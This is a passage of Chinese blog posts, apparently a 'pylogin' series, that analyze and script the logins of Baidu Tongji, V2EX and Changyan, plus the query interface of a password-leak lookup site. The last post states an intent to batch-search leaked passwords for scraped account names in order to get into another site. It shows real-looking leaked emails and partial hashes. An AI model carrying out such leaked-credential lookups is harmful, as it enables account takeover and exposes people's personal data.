{ <div id="LoginMain" class="ico-login clearfix"> <div class="visitor-login-tab" id="LoginTab">请输入查看密码</div> <div id="LoginInput" class="login-input"> if (this.errMsg) { <div id="ErrorTip" class="error">#{this.errMsg}</div> } ... </div> </div> } else { <div id="LoginMain" class="login-main"> <form method="post" action="#{this.loginAction}"> <input type="hidden" value="12" id="Appid" name="appid"> ... <input type="hidden" value="#{this.selfUrl}" name="selfu" /> <input type="hidden" value="1" name="senderr" /> </form> </div> </div> } </div> <div class="dialog-bottom-bg"></div></script> 从上面代码中可以看到,某些标签的值使用了#{this.xxx}这样的语法,不是直接填入的具体内容,更加灵活,扩展更容易。 然后在点击登录按钮之后,通过函数格式化一个全局定义的变量来生成的登录表单。具体如下: 123456789101112131415161718192021222324//全局数据,用于替换表单中的this.xxx<script type="text/javascript">VAR = { webMasterRegister: "https://tongji.baidu.com/web/register", customRegister: "https://u.baidu.com/ucweb/?module=Reguser&controller=reg&action=index&appid=3", union_forget: "http://union.baidu.com/findPassword!input.action", shifen_forget: "https://aq.baidu.com/new/#/findpwd", uc_forget: "https://aq.baidu.com/new/#/findpwd", waiting_img_src: "/web/img/loadingImage.gif", app_id: "0", errMsg: "", loginUrl: "/web/welcome/login", loginAction: "https://cas.baidu.com/?action=login", userName: "", authCode: "https://cas.baidu.com/?action=image&key=1503151305", registerUrl: "/web/register", fromUrl: "https://tongji.baidu.com/web/welcome/loginback", selfUrl: "https://tongji.baidu.com/web/welcome/login", isIco: "0", webmasterUserNum: "2097176", customerUserNum: "2270927", mtjUserNum: "2262130"};</script> 然后在login.js中,通过下面的函数来初始化表单,并且显示。 其中n.format("LoginTemplate", VAR)用于格式化VAR定义的数据到表单的数据中。 12345678910111213, h = function() { var e = t(".login-trigger").eq(0); e.on("click", function() { s || (s = new i({ width: 345, isModal: !0, titleText: "", isSingle: !0, content: n.format("LoginTemplate", VAR) //初始化登录表单数据 }), loginController.init()), s.show() }); 而在format具体如何替换的,就随意实现了,这里就不在具体分析,有兴趣跟着分析的同学可以去看看common.js中的代码。 总结百度统计接口非常简单,密码未做变换,使用https。 登录之后具体做什么也不在分析。 预告下次做百度主站的登录分析,简单看了下,非常…复杂! 安利一下公众号:汉客儿 转载请注明出处,博客原文:https://anhkgg.github.io/pylogin-baidutongji-login-analyze/","tags":[{"name":"crawler","slug":"crawler","permalink":"https://anhkgg.github.io/tags/crawler/"},{"name":"python","slug":"python","permalink":"https://anhkgg.github.io/tags/python/"},{"name":"js","slug":"js","permalink":"https://anhkgg.github.io/tags/js/"},{"name":"javascript","slug":"javascript","permalink":"https://anhkgg.github.io/tags/javascript/"},{"name":"v2ex","slug":"v2ex","permalink":"https://anhkgg.github.io/tags/v2ex/"},{"name":"自动领币","slug":"自动领币","permalink":"https://anhkgg.github.io/tags/自动领币/"}]},{"title":"pylogin系列之V2EX自动领币消息提醒","date":"2017-08-18T13:09:58.000Z","path":"pylogin-v2ex-login-analyze/","text":"概述最近开始混v2ex,v2ex发主题、回复都要收钱,发帖收钱还跟字数相关,之前不知道这些,发个帖子内容太多,kao,没钱了! 虽然主题有人回复会收到钱,但是也没人回复啊,也不知道v2ex大佬们喜欢什么内容! 幸好v2ex有个登录领币任务,每天还可以攒点钱,但是有些时候会忘啊,怎么办?… 嗯,程序员嘛,偷懒的办法多…这就开始分析接口,自动领币! 然后呢,发个主题,总想看看有没有大佬关注和回复,然后就时不时打开浏览器,去刷新一下页面。 就跟大部分用windows的人一样,回到桌面不右键+E(刷新)一下,就感觉人生好像少了什么东西(我好像是重症患者,用ubuntu也要找一下刷新桌面)! 这种情况是不是病啊?! 然后呢,刷新很浪费时间诶,有人回复,看着还算开心嘛,但也没人回复,那不白浪费时间了嘛,还影响期待的小心情! 所以呢,还得加上自动消息提醒功能! 废话完毕,开始干活! 工具: 1231. chrome/firefox2. f12,network3. python:requests、re 登录开始分析登录接口。打开chrome,f12,进入登录页面。只需要输入名字和密码,没有验证码,真好! 访问的链接是: 1https://www.v2ex.com/signin 然后随便输入什么名字和密码,点击登录,肯定失败,页面有提示。再看网络请求数据: 1234567891011121314151617181920POST https://www.v2ex.com/signinHost: www.v2ex.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8//发送数据6b79e5fdb638c190396648c486c313dca73ad9f6e4e122fafc356e54522eedc4:"111111111111111" //namebb4419eb55aef4106a853ce9f4642d5d58ac021f4e1fef29a230e2352da74802:"11111111111" //passwordonce:"95083"next:"/"//登录错误<div class="box"> <div class="header"><a href="/">V2EX</a> <span class="chevron">&nbsp;›&nbsp;</span> 登录 &nbsp;<li class="fa fa-lock"></li></div> <div class="problem">请解决以下问题然后再提交:<ul><li>用户名和密码无法匹配</li></ul></div> ... </div> 这个请求关键点: POST请求,url是https://www.v2ex.com/signin 发送数据有名字和明文密码,以及两个其他不明字段 请求是https,所以明文密码不会暴露。 在仔细看发送的4个数据。名字和密码对应的字段都是一长串字符,猜想这个是变化的,每次刷新登录页面都不一样,多次尝试下确认该猜想! 如何获取呢,肯定是在打开登录页面时就会收到服务器返回的这两个字符串的。在登录html内容中一翻,看到如下: 1234567891011121314151617181920212223242526<div class="box"> <div class="header"><a href="/">V2EX</a> <span class="chevron">&nbsp;›&nbsp;</span> 登录 &nbsp;<li class="fa fa-lock"></li></div> <div class="cell"> <form method="post" action="/signin"> <table cellpadding="5" cellspacing="0" border="0" width="100%"> <tr> <td width="120" align="right">用户名</td> <td width="auto" align="left"><input type="text" class="sl" name="804c76d3f1472cdd8721d16f21de446186f2bae893748542ffda39963ff293f4" value="111111111111111" autofocus="autofocus" autocorrect="off" spellcheck="false" autocapitalize="off" placeholder="用户名或电子邮箱地址" /></td> </tr> <tr> <td width="120" align="right">密码</td> <td width="auto" align="left"><input type="password" class="sl" name="359a3968b3b6f37b05fceed766bd8995090a4fd5cdc74ba0a8cd17b44d2bc86e" value="" autocorrect="off" spellcheck="false" autocapitalize="off" /></td> </tr> <tr> <td width="120" align="right"></td> <td width="auto" align="left"><input type="hidden" value="79599" name="once" /><input type="submit" class="super normal button" value="登录" /></td> </tr> <tr> <td width="120" align="right"></td> <td width="auto" align="left"><a href="/forgot">我忘记密码了</a></td> </tr> </table> <input type="hidden" value="/" name="next" /> </form> </div></div> 名字对应字段是<input type="text" class="sl" name="804c76d3f1472cdd8721d16f21de446186f2bae893748542ffda39963ff293f4", 密码对应字段是<input type="password" class="sl" name="359a3968b3b6f37b05fceed766bd8995090a4fd5cdc74ba0a8cd17b44d2bc86e", 可以通过正则获取到字段名。 名字正则:r'<input type="text" class="sl" name="([\\d\\w]*?)"' 密码正则:r'<input type="password" class="sl" name="([\\d\\w]*?)"' 也看到了其他两个数据字段,<input type="hidden" value="79599" name="once" /> 和 <input type="hidden" value="/" name="next" />。 once对应的值每次都不一样,next的值应该是固定的/,但是为了保险,都通过正则来获取 12r'<input type="hidden" value="([\\d\\w]+?)" name="once" />'r'<input type="hidden" value="(.+?)" name="next" />' 好了,到此登录请求需要的东西都分析完了,然后就是模拟接口发送请求了。 忘了还有一点,返回状态的判断。 前面看到登录错误的有提示信息,为了更人性化,把这个信息拿到吧。 1234//登录错误<div class="box"> <div class="header"><a href="/">V2EX</a> <span class="chevron">&nbsp;›&nbsp;</span> 登录 &nbsp;<li class="fa fa-lock"></li></div> <div class="problem">请解决以下问题然后再提交:<ul><li>用户名和密码无法匹配</li></ul></div> 获取错误信息正则是这样:r'<div class="problem">.+?<ul><li>(.*?)</li></ul></div>' 登录成功判断待会儿再分析。 通过py发送模拟登陆请求,代码如下: 1234567payload = { self.form_name:name, self.form_pass:pwd, 'once': self.form_once, 'next': self.form_next }r = self.s.post(url, data=payload, headers=headers) 保存了返回数据一看,没成功啊,还是未登录的首页。 重新再浏览器登录一下,仔细分析了一下。 发送了登录请求之后,登录成功之后,页面自动跳转到https://www.v2ex.com,有登录信息了。 猜测对请求的头部数据做了某些校验。 看看请求的头部数据,如下: 12345678910Host: www.v2ex.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) ...Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflate, brContent-Type: application/x-www-form-urlencodedContent-Length: 167Referer: https://www.v2ex.com/signinConnection: keep-aliveUpgrade-Insecure-Requests: 1 一般来说可能会对host,referer等字段检查,加入尝试一下。 12345headers = { #'Host': 'www.v2ex.com', #'origin':'https://www.v2ex.com', 'referer':'https://www.v2ex.com/signin', } 成功登录,屏蔽其中一些字段,发现只需要加入referer即可登录。 获取登录成功状态,可以看到登录成功后,会有用户账户信息,如下: 1234<a href="/member/anhkgg" class="top">anhkgg</a>&nbsp;&nbsp;&nbsp;<a href="https://workspace.v2ex.com/" target="_blank" class="top">工作空间</a>&nbsp;&nbsp;&nbsp;<a href="/notes" class="top">记事本</a>&nbsp;&nbsp;&nbsp;<a href="/t" class="top">时间轴</a>&nbsp;&nbsp;&nbsp;<a href="/settings" class="top">设置</a>&nbsp;&nbsp;&nbsp;<a href="#;" onclick="if (confirm('确定要从 V2EX 登出?')) { location.href= '/signout?once=54090'; }" class="top">登出</a></td> 那么只需要搜索是否存在<a href="/member/anhkgg"即可。正则表达式是:r'<a href="/member/.+?">'。找到该内容表示登录成功。 退出登录成功了,顺便看一下退出的接口。抓包看一下,发现访问了如下链接: 1https://www.v2ex.com/signout?once=71351 又见到once字段,值又是每次不同的。那么也只有动态获取一下了。在前面登录成功的信息中其实可以看到有退出接口的内容。 1onclick="if (confirm('确定要从 V2EX 登出?')) { location.href= '/signout?once=54090'; }" class="top">登出</a></td> 通过正则获取一下once:r"location.href= '/signout\\?once=([\\d\\w]+?)'",然后模拟退出。 123url = 'https://www.v2ex.com/signout'payload = { 'once': self.signout_once}self.s.get(url, params=payload) 新评论接着就看看我需要的功能了。 首先是获取最新评论条数。找到对应html的内容,如下: 1</a></div><a href="/notifications" class="fade">0 条未读提醒</a></div> 非常简单,关键字notifications,正则一搜即可拿到。 r'<a href="/notifications".*?>(\\d+)(.*?)</a>' 不在细说。 为了能主动提醒我是否有最新消息,登录成功后,没10分钟刷新一下https://www.v2ex.com,再获取评论条数即可。 有新评论就通知我。 领取每日奖励嗯,钱的事还是挺重要的。 首页右侧,每天会出现领取今日奖励的按钮,什么时候出现不知道(过了凌晨12点?),点击后跳转到领取页面,再点击领取按钮就拿到钱了! 第一步,拿到领取页面的链接。看下面,是固定的,终于省了一点点事。 1<div class="box"><div class="inner"><li class="fa fa-gift" style="color: #f90;"></li> &nbsp;<a href="/mission/daily">领取今日的登录奖励</a></div></div> 通过下面的代码跳到领取页面。 12url = 'https://www.v2ex.com/mission/daily'r= self.s.get(url) 然后看看领取按钮对应的链接,又见once!so,链接不是固定的了。 1234<div class="cell"> <h1>每日登录奖励 20170818</h1> <input type="button" class="super normal button" value="领取 X 铜币" onclick="location.href = '/mission/daily/redeem?once=48881';" /> </div> 动态获取once对应的值,正则跟退出接口很像:r"'/mission/daily/redeem\\?once=([\\d\\w]+?)'" 然后模拟请求领取奖励。 123url = 'https://www.v2ex.com/mission/daily/redeem'payload = { 'once': once}r = self.s.get(url, params=payload) 总结好了,到这里分析就完成了。分析内容非常详细,然后也贴了些关键代码,所以完整代码就暂时不提供了! v2ex登录通过变化的名字和密码字段,以及once的值,增加了一定的分析成本,但是总的来说,还是没什么难度!挡不了多少人! 其他自动回复啊,最新主题啊…等等,各位看官自行脑洞了! pylogin系列还将继续,尽请关注! 安利一下公众号:汉客儿 转载请注明出处,博客原文:https://anhkgg.github.io/pylogin-v2ex-login-analyze/","tags":[{"name":"crawler","slug":"crawler","permalink":"https://anhkgg.github.io/tags/crawler/"},{"name":"python","slug":"python","permalink":"https://anhkgg.github.io/tags/python/"},{"name":"js","slug":"js","permalink":"https://anhkgg.github.io/tags/js/"},{"name":"javascript","slug":"javascript","permalink":"https://anhkgg.github.io/tags/javascript/"},{"name":"v2ex","slug":"v2ex","permalink":"https://anhkgg.github.io/tags/v2ex/"},{"name":"自动领币","slug":"自动领币","permalink":"https://anhkgg.github.io/tags/自动领币/"}]},{"title":"pylogin系列之畅言登录评论接口分析","date":"2017-08-16T16:47:29.000Z","path":"pylogin-changyan-login-analyze/","text":"概述博客使用了畅言做评论系统(多说、网易云跟帖tmd相继挂了…)。畅言后台可以看出功能非常强大,居然还有广告业务…but,畅言登录之后,即使你选择了记住登录,也会在每次关闭浏览器后需要重新登录,很累好伐! 折腾了我几天之后,决定还是决定分析一下登录协议,以及简单后台操作接口,然后写个脚本跑着吧,有新评论就给我”叮”一下,就不用我常常登录去翻了! 分析开始分析,工具: chrome/firefox f12,network python 登录chrome打开主页http://changyan.kuaizhan.com。 F12,调到network的tab页,然后输入登录,找到登录的包。 123456789101112131415161718192021222324Request URL:http://changyan.kuaizhan.com/loginAjax?callback=jQuery17107352265034825938_1502508074058&name=xxx&rememberMe=true&password=1111111&vcode=4795&vipIsvId=0&_=1502508184633Request Method:GETStatus Code:200 OKHost:changyan.kuaizhan.comReferer:http://changyan.kuaizhan.com/User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.109 Safari/537.36X-Requested-With:XMLHttpRequestcallback:jQuery17107352265034825938_1502508074059 //可以没有name:xxxrememberMe:truepassword:1111111vcode:1882vipIsvId:0_:1502508368658//响应jQuery17101803876020131434_1502867163749({"data":{},"code":0,"msg":"success"}); //发送了callback{"data":{},"code":0,"msg":"success"}; //没有发送callback//其他状态{"code":2,"msg":"验证码错误"}; {"code":2,"msg":"用户名或密码错误!"} 很清晰,使用GET,ajax发送数据,主要发送name, password, vcode等数据,经验证callback是可以不需要的,如果发送callback,返回数据会包一层 jQuery17101803876020131434_1502867163749(data), 如果没有callback,直接返回data。 很幸运的是,password没有做任何处理(貌似未强制https,那密码不是明文了…差评!)。没做处理,我倒简单了,不用做多余分析了,登录接口基本就这样。 然后是返回数据,是json数据,成功code是0,错误code是2,然后是具体错误msg。不细说。 验证码每次登录都需要验证码,挺烦的。为了自动登录,还得拿到验证码。 获取验证码接口如下: 1234Request URL:http://changyan.kuaizhan.com/verifyCode?_1502508320545Request Method:GETContent-Type:image/jpeg; charset=UTF-8 返回一张jpg图片,验证码处理比较简单,应该可以用tesseract-ocr识别,没有验证。 评论登录成功后,进入后台。 123Request URL:http://changyan.kuaizhan.com/overviewRequest Method:GETStatus Code:200 OK 返回整个后台页面,通过页面元素找到评论位置,html代码如下: 123<li class="right-sub-li "><a href="/audit/comments/TOAUDIT/1" style="text-indent:25px;"> <span class="audit-number">2</span> <span style="text-indent:0px;">本站评论审核</span></a></li> 通过r'<span class="audit-number">(\\d+?)</span>'正则可以获取到待审核评论数,也就是新增评论,要的就是这个。 评论统计接口获取评论信息接口,使用的是ajax访问(我这用不上,顺便分析下)。 12345678910111213141516Request URL:http://changyan.kuaizhan.com/stat-data/commentRequest Method:POSTStatus Code:200 OKHost:changyan.kuaizhan.comOrigin:http://changyan.kuaizhan.comReferer:http://changyan.kuaizhan.com/overviewUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.109 Safari/537.36X-Requested-With:XMLHttpRequeststart:20170805end:20170811categoryId:0//响应{"sdk_user_data":{},"user_data":{"20170810":1},"sdk_cmt_data":{},"wap_cmt_data":{},"total_data":{"20170810":1,"20170811":0},"recommender_data":{},"wap_user_data":{},"cmt_data":{"20170810":1},"wap_reply_data":{},"flood_data":{"20170810":0,"20170811":0},"sdk_reply_data":{},"success":true} 接口使用ajax POST,发送参数可以选择时间区间。 返回数据为json,具体意义如下: 123456789101112cmt_data : {20170810: 1} //评论数据1条flood_data : {20170810: 0, 20170811: 0, 20170812: 0, 20170813: 0, 20170814: 0, 20170815: 0} //每天flooddata多少条recommender_data : {}sdk_cmt_data : {}sdk_reply_data : {}sdk_user_data : {}success : true //获取评论信息成功total_data : {20170810: 1, 20170811: 0, 20170812: 0, 20170813: 0, 20170814: 0, 20170815: 0} // 所有评论数据user_data : {20170810: 1} //用户数据1条wap_cmt_data : {} //手机评论数据wap_reply_data : {}wap_user_data : {} 对应页面如下: 总结畅言登录简单,密码未做处理,安全性有待提高。 接口不统一,评论数据需要正则匹配。 不过为了实现自己的小功能,还是挺简单的! 接口分析完,通过py实现以下接口。自动登录(不识别验证码,需要手动输入),然后每间隔30分钟访问一下后台页面,获取新的评论信息,如果有新的待评审数据,声音或弹窗提醒。 完毕! 转载请注明出处,博客原文:https://anhkgg.github.io/pylogin-changyan-login-analyze/","tags":[{"name":"crawler","slug":"crawler","permalink":"https://anhkgg.github.io/tags/crawler/"},{"name":"python","slug":"python","permalink":"https://anhkgg.github.io/tags/python/"},{"name":"js","slug":"js","permalink":"https://anhkgg.github.io/tags/js/"},{"name":"javascript","slug":"javascript","permalink":"https://anhkgg.github.io/tags/javascript/"},{"name":"畅言","slug":"畅言","permalink":"https://anhkgg.github.io/tags/畅言/"}]},{"title":"看我鼓捣华西安全网(cha.hxsec.com)密码泄露查询接口(有意思的js混淆)","date":"2017-08-09T15:34:25.000Z","path":"hxsec-search-pwd-interface-analyze/","text":"0x00 开始最近爬个站的数据,然后想扫一下其他网站的同一个账号名能否找到泄露的密码,然后在这个站嘿嘿一下… 在 sec-wiki 找到了这个密码泄露查询网站。 随便用了一下,发现网站虽然讲密码打码了,但是某些数据还是可以猜出来原始的内容,或者通过简单的计算拿到原始的内容。 but,我不能一个个输入然后看吧,数据虽然少,也有上千条啊,怎么说也是个python程序员,怎么也得鼓捣一下。 分析一下hxsec的查询接口,用python批量一下。 0x01 分析接口hxsec查询界面如下: 其实接口很简单,f12,切换到network栏,然后随便输入什么,点击试试吧皆可以。 看到访问的网络接口如下: 12345678Request URL:http://cha.hxsec.com/ajax.php?act=selectRequest Method:POSTStatus Code:200 OKselect_act:3match_act:2key:ll111table:212300_cxhr_zhaopin_com 参数都特别简单,select_act表示User and Email/User/Emial,match_act表示模糊/精确查询,key就是输入的关键字。最后一个table比较重要了,表示在什么库中查询,扫描时看到进度变化,在什么库中进行了多少了,每次搜索都会在这所有库中搜索,直到结束。 这个数据应该存在了本地,或者初始化时服务器返回了。暂时不管,后面继续重点分析(有意思的就在这)。 请求返回数据,有下面几种情况:1234567没有返回空内容//该库只有一条数据addRow("ll111","348720221@qq.com","202**962AC59075B964B07152D234B70","212300_cxhr_zhaopin_com");//该库有多少数据addRow("'fish13', 'fish1346@qq.com', '**', 'mail_qq_sohu");addRow("fish13', '592545012@qq.com', '**', 'mail_qq_sohu");addRow("fish13', 'm_srikanth@sohu.com', '**', 'mail_qq_sohu'], ['fish13', '', '176**1176671', 'qq_old_password' 0x02 分析table其实接口很清楚了,但是还需要直到所有table的内容,然后才能完成所有数据搜索。 所以,table怎么找,在哪里呢! 还是要分析代码了… 看看表单所在位置代码,找找搜索按钮的响应函数(这里也可以看到上面说的参数的详情),很明显响应函数是getdata。 1234567891011121314151617181920<p><span class="input-group"> <select class="btn btn-success" id="match_act" name="match_act"> <option value="2" selected="">精确匹配</option> <option value="1">模糊查询</option> </select> <select class="btn btn-primary" id="select_act" name="select_act"> <option class="btn-group" value="3" selected="">User and Email</option> <option class="btn-group" value="1">Username</option> <option class="btn-group" value="2">Email</option> </select> </span></p> <div id="jshint-pitch" class="alert alert-info scan-wait" style="display:none;margin-top:10px;font-size:14px"> </div> <div id="scan-result-box" style="font-size:12px;"> <div class="input-group"><span class="input-group-btn scan-but-span"> <button type="button" class="btn btn-success" onClick="getdata();">试试吧!</button> </span> <input placeholder="华西安全网提示:输入用户名、QQ、Email..看看你的密码是否泄露~~~请勿非法用途~~" name="key" class="form-control" id="key" ></input> </div> <br> 在html,js中一番搜索,tmd居然没有。只在system.js中看到了这个! 1傻逼|你TM的来打我啊|getdata|stend|u5927| —-手工分割线——- TMD的,我这暴脾气,这是挑衅啊,lz非搞你不可了!这已经上升到人身攻击了!!! —-手工分割线——- 很明显,tmd代码混淆了。怎么办,调试跟呗。 把system.js(用chrome格式化一下,不然…瞎眼)扒出来一看,其实也不复杂。 123456789101112131415161718192021222324//jb 5/24修改eval(function(p, a, c, k, e, d) { e = function(c) { return (c < a ? "" : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36)) } ; if (!''.replace(/^/, String)) { while (c--) d[e(c)] = k[c] || e(c); k = [function(e) { return d[e] } ]; e = function() { return '\\\\w+' } ; c = 1; } ;while (c--) if (k[c]) p = p.replace(new RegExp('\\\\b' + e(c) + '\\\\b','g'), k[c]); return p;}('3o 2Y$=["",\\'\\',\\'\\\\\\\\w+\\',\\'\\\\\\\\b\\',\\'\\\\\\\\b\\',\\'g\\',\\'d c$=["1W","#n","1T","1R","#n","\\\\\\\\2h\\\\\\\\2g\\\\\\\\k\\\\\\\\p"," \\\\\\\\2i\\\\\\\\2k\\\\\\\\1N","%","H","H","#n","\\\\\\\\k\\\\\\\\p\\\\\\\\T\\\\\\\\O!\\\\\\\\1q\\\\\\\\1t\\\\\\\\1j\\\\\\\\1k\\\\\\\\1g\\\\\\\\G\\\\\\\\D\\\\\\\\E\\\\\\\\U\\\\\\\\W \\\\\\\\z\\\\\\\\A: ","\\\\\\\\C\\\\\\\\B","#n","\\\\\\\\k\\\\\\\\p\\\\\\\\T\\\\\\\\O! \\\\\\\\U\\\\\\\\W\\\\\\\\1v:","\\\\\\\\1u \\\\\\\\z\\\\\\\\A:","\\\\\\\\C\\\\\\\\B","#n","\\\\\\\\k\\\\\\\\p\\\\\\\\T\\\\\\\\O! \\\\\\\\U\\\\\\\\W\\\\\\\\1v:","\\\\\\\\1u \\\\\\\\z\\\\\\\\A:","\\\\\\\\C\\\\\\\\B",\\\\\\'2j\\\\\\',"1D","1p=","&1o=","&I=","&2c=",\\\\\\'1O.2b?2d=2f\\\\\\',"#H","1T","1R","#I",\\\\\\'\\\\\\',"#I","\\\\\\\\Z\\\\\\\\2e\\\\\\\\2l\\\\\\\\k\\\\\\\\p\\\\\\\\1r\\\\\\\\1n/\\\\\\\\G\\\\\\\\D\\\\\\\\E/\\\\\\\\2s\\\\\\\\2r","\\\\\\\\G\\\\\\\\D\\\\\\\\E\\\\\\\\2t\\\\\\\\1N\\\\\\\\Z\\\\\\\\2v\\\\\\\\2u!!","#1p","#1o","1C","\\\\\\\\1q\\\\\\\\1t\\\\\\\\2n\\\\\\\\1g\\\\\\\\2m\\\\\\\\1j\\\\\\\\1k\\\\\\\\2o\\\\\\\\1r\\\\\\\\1n\\\\\\\\2q","2p|2a~!1X~!1Z|a|1Y|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b"];d o;d N;e 1D(1y,1U,1J,Y){d l=1C["2V"]();d 1A=l["q"](0);d 1I=l["q"](1);d 1V=l["q"](2);d 1M=l["q"](3);1A["w"]=1y;1I["w"]=1U;1V["w"]=1J;1M["w"]=Y};e 1x(){$( c$[0])["2U"]()};e 1Q(1l,1e,1b){$( c$[1])["1z"]( c$[2], c$[3]);d 1c=(1l/1e)*g;d M=X(1c,1);t["r"]( c$[4],M,g, c$[5]+1b+ c$[6]+M+ c$[7])};e 1L(){v=1F 1G()["1H"]()-N;d 1s=R["Q"]( c$[8]);d y=1s["P"]["f"];i(y==1){d 1i=R["Q"]( c$[9]);d 1m=1i["P"]["f"];i(1m==1){t["r"]( c$[10],g,g, c$[11]+(v)+ c$[12])}1h{t["r"]( c$[13],g,g, c$[14]+(y-1)+ c$[15]+(v)+ c$[16])}}1h{t["r"]( c$[17],g,g, c$[18]+(y-1)+ c$[19]+(v)+ c$[20])}};e X(1a,1d){d F=1f["2T"](10,1d);S 1f["2X"](1a*F)/F};e 1S(1P,s,1K,2W){$["1O"]({2D: c$[21],2C:1P,2E:s,2G:e(J){i(J["2F"]( c$[22])>=0){2B(J)};i(1K==V["f"]){1L()}}})};e 1E(j,u,x,m,h){1Q(h+1,m["f"],m[h]);d s= c$[23]+u+ c$[24]+x+ c$[25]+j+ c$[26]+m[h];1S( c$[27],s,o+1,m["f"]);o=o+1};e 2x(){$( c$[28])["1z"]( c$[29], c$[2w]);1x();d j=$( c$[2y])["K"]();i(j== c$[2A]){$( c$[2z])["2H"]();L( c$[2P]);S 1w};i(j["f"]<4){L( c$[2O]);S 1w};d u=$( c$[2Q])["K"]();d x=$( c$[2S])["K"]();N=1F 1G()["1H"]();o=0;2R(d h=0;h<V["f"];h++){1E(j,u,x,V,h)}};e 2N(){d 1B=R["Q"]( c$[2J])["P"]["f"];i(1B==0){L( c$[2I])}};e 2K(){d 2M= c$[2L]}\\',\\'||||||||||4U|4R|2Y|3o|3e|4Q|4T|4S|3h|54|53|56|50|52|4z|4B|4M|4O|4J|5w|5v|5q|5s|4b|4c|49|4a|4f|4g|4d|4e|48|42|43|3Z|41|46|47|3f|44|45|4h|4t|4u|3b|4r|4s|4x|4y|4v|4w|4q|||||||||||4k|4l|2Z|4i|4j|4o|4p|4m|4n|3Y|3p|3d|3u|3v|3w|3y|3A|3z|3x|3E|3F|3D|3B|3C|3s|3t|3r|3q|3R|3S|3P|3j|3Q|3T|3W|3X|3U|3V|3I|3J|3G|3H|3K|3N|3O|3L|3M|5j|5k|5h|5i|5n|||||||||||5o|5l|5m|5g|5a|5b|58|59|5e|5f|5c|5d|5A|5B|5y|5z|5E|5F|5C|5D|5x|5r|30|5p|31|33|32|3n|5t|5u|57|4K|4L|4I|39|38|4P|40|4N|4H|35|34|36|4C|37|4A|4F|4G|4D|4E\\',\\'|\\'];3n(3e(3g,3d,2Z,3c,e,3f){e=3e(3a){3b(3a<3d? 2Y$[0]:e(51(3a/3d)))+((3a=3a%3d)>35?3i["4Z"](3a+29):3a["55"](36))};3h(! 2Y$[1]["3k"](/^/,3i)){3m(2Z--)3f[e(2Z)]=3c[2Z]||e(2Z);3c=[3e(3l){3b 3f[3l]}];e=3e(){3b 2Y$[2]};2Z=1};3m(2Z--)3h(3c[2Z])3g=3g["3k"](3j 4Y( 2Y$[3]+e(2Z)+ 2Y$[4], 2Y$[5]),3c[2Z]);3b 3g}( 2Y$[6],4W,4X, 2Y$[7]["4V"]( 2Y$[8]),0,{}))', 62, 352, '||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||_|somd5comf78518fb1|||||||||||somd5com21a288587|return|somd5com6d38bb14b|somd5com3de2f8f6d|function|somd5comd152c7b41|somd5comf3298c8c5|if|String|new|replace|somd5com8f18e7d16|while|eval|var|u7d22|somd5com16af76eea|somd5com6cd7bc889|somd5comed2bd7eb6|css|somd5comb9e3341a3|u5bb9|match_act|somd5com4d38b6944|select_act|u5185|u6ca1|false|get_del|u91cf|u6709|u6761|ajax|somd5come0b7918e1|somd5com4823e252c|u5ea6|get_jdt|display|somd5com811fa93b4|block|ajax_post|get_data|Date|value_tables|addRow|getTime|somd5com25f9df3a7|get_okcount|somd5com6d6674984|somd5comf49be7e59|u641c|key||somd5com9a3a7ef82|u5173|somd5_table|somd5com326e7999e|u6bd5|val|alert|somd5com956a89722|u8017|u65f6|somd5comd7f929c0a|somd5comf1d14de2e|u952e|u5b57|u79d2|u6beb|rows|somd5comf46beb405|somd5com738c8372f|somd5com3b1df0e8d|somd5comdcaedb43e|else|somd5com36f2c91c7|Math|u5230|u8bf7|u5b8c|u6570|getElementById|document|decimal|somd5com5b49d9f12|database|u636e|somd5comdd52905dc|pow|u8be2|for|somd5comb39f98f6a|round|empty|insertRow|gat_kong|focus|somd5comf53e662dd|indexOf|success|insertCell|somd5comea98952b0|progress|dataxxxx|length|SOMD5|somd5comb93c3a502|100|搜MD5|split|62|184|RegExp|fromCharCode|somd5com4af3e5365|parseInt|selecting|u67e5|somd5com490d63bb2|toString|somd5comf94f3be31|data|u5728|u6b63|u8f93|select|u8fdb|u5165|u603b|POST|act|来打我啊|SOMD55|somd5comeff53bcd1|tbody|php|table|傻逼|你TM的来打我啊|getdata|stend|u5927|innerHTML|url|type|somd5combdba21b9c|Administry|u4e8e4|u7684|操你妈|u60a8|u627e|u90ae|u957f|u5462|u7bb1'.split('|'), 0, {})); 不过直接看也挺闹人的,边调试边看吧。 参数是什么? 1234// p是字符串// a 是62// c 是 352数组大小, k 是Array[352]// e 是0 , d 是{} e函数干嘛了?具体返回数据暂时也不同看了,调试到了自然可以dump出来 123456e = function(c) { //61以内的就返回字符,0-9,a-z(11-36),A-Z(36-61) //62以上 //c.toString(36) 36进制转为字符 return (c < a ? "" : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36)) } 然后就解密那一长串字符了,用的e12while (c--) d[e(c)] = k[c] || e(c); 解出来的数据大概是这样的一个object, 123456789101112131415165y: 'u7684'5x: 'u4e8e4'5w: 'Administry'5v: 'somd5combdba21b9c'5u: 'type'5t: 'url'5s: 'innerHTML'5r: 'u5927'5q: 'stend'5p: 'getdata'5o: '你TM的来打我啊'5n: '傻逼'5m: 